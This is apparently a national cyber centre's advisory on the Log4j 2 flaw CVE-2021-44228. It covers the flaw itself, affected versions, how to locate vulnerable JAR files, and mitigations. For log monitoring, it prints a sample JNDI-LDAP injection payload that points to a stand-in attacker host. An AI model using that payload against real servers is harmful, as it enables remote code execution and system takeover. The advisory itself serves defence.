Introduction
National Cyber Coordination and Command Centre (NC4) would like to alert everyone about a critical vulnerability concerning the use of Log4J 2 library and a working exploit affecting all applications using the library. The exploits can cause information leak and remote code execution and has been proven that it can be used to gain remote access into the vulnerable server and can potentially be used to attack other resources or hold the server for ransom.
Impact
Complete system takeover, Information leakage, malware host/infection and service disruption.
Brief Description
NC4 is alerted of a high severity vulnerability (CVE-2021-44228) involving Apache Log4j 2, with CVSSv3 score of 10.0. Multiple versions of the Apache Log4j 2 utility in particular Apache Log4j 2 versions 2.0 to 2.14.1 were impacted by this severity which was disclosed publicly on 9 December 2021. Apache Log4j 2.14.1 (and below) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. This vulnerability allows for unauthenticated remote code execution and due to how ubiquitous this library is and how easy it is to exploit, the impact of the exploit can lead to total server takeover. However, for log4j 2.15.0, this behavior has been disabled by default.
Log4j 2 is an open-source Java logging library developed by the Apache Foundation. Log4j 2 is widely used in many applications and is present, as a dependency, in many services including enterprise applications as well as numerous cloud services.
Therefore, organisations are urged to take the necessary actions to prevent your organisations from becoming victims of this attack that may interrupt your daily operation.
Affected Product
All web servers and online services that use Log4J library in Log4j 2.0-beta9 up to v2.14.1.
Recommendation
For CVE-2021-44228, NC4 recommends following vendor best practice advice in the mitigation of vulnerabilities. Organisations are advised to identify all the systems that use Log4j 2 directly or indirectly(via software bundle/package) and apply the latest patch released by Apache or respective software as soon as possible. More information is available at:
Method to Identify Log4j Version
The specific files to search for should match the following pattern:
“log4j-core-*.jar”
Depending on the installation method, the location of the matching JAR file may also give indications as to which application is potentially vulnerable. For example, on Windows, if the file is located in C:\Program Files\ApplicationName\log4j-core-version.jar it indicates ApplicationName should be investigated. On Linux, the lsof utility can show which processes currently have the JAR file in use and can be run via the following syntax:
lsof /path/to/log4j-core-version.jar
Monitoring Log4j Exploit and Attack
From the web and server logs data in the request, the exploit will contain the malicious payload string: “${jndi:ldap://attacker.com/a}”
(where attacker.com is an attacker controlled server).
While this method can bypass security appliances by using code obfuscation technique, it is still advisable that organisations block any request using this default payload string to reduce the risk.
Permanent Mitigation
log4j2.formatMsgNoLookups
or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS
to true.
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
.
If patching is not possible, it is highly advised organisations apply the temporary mitigation below and monitor impacted applications closely for anomalous behavior.
Temporary Mitigation
To mitigate the vulnerability in place of updating Log4j 2, the following parameter should be set to true when starting the Java Virtual Machine:
log4j2.formatMsgNoLookups
Organisations are also advised to be vigilant and to take the following actions:
References
14-12-2021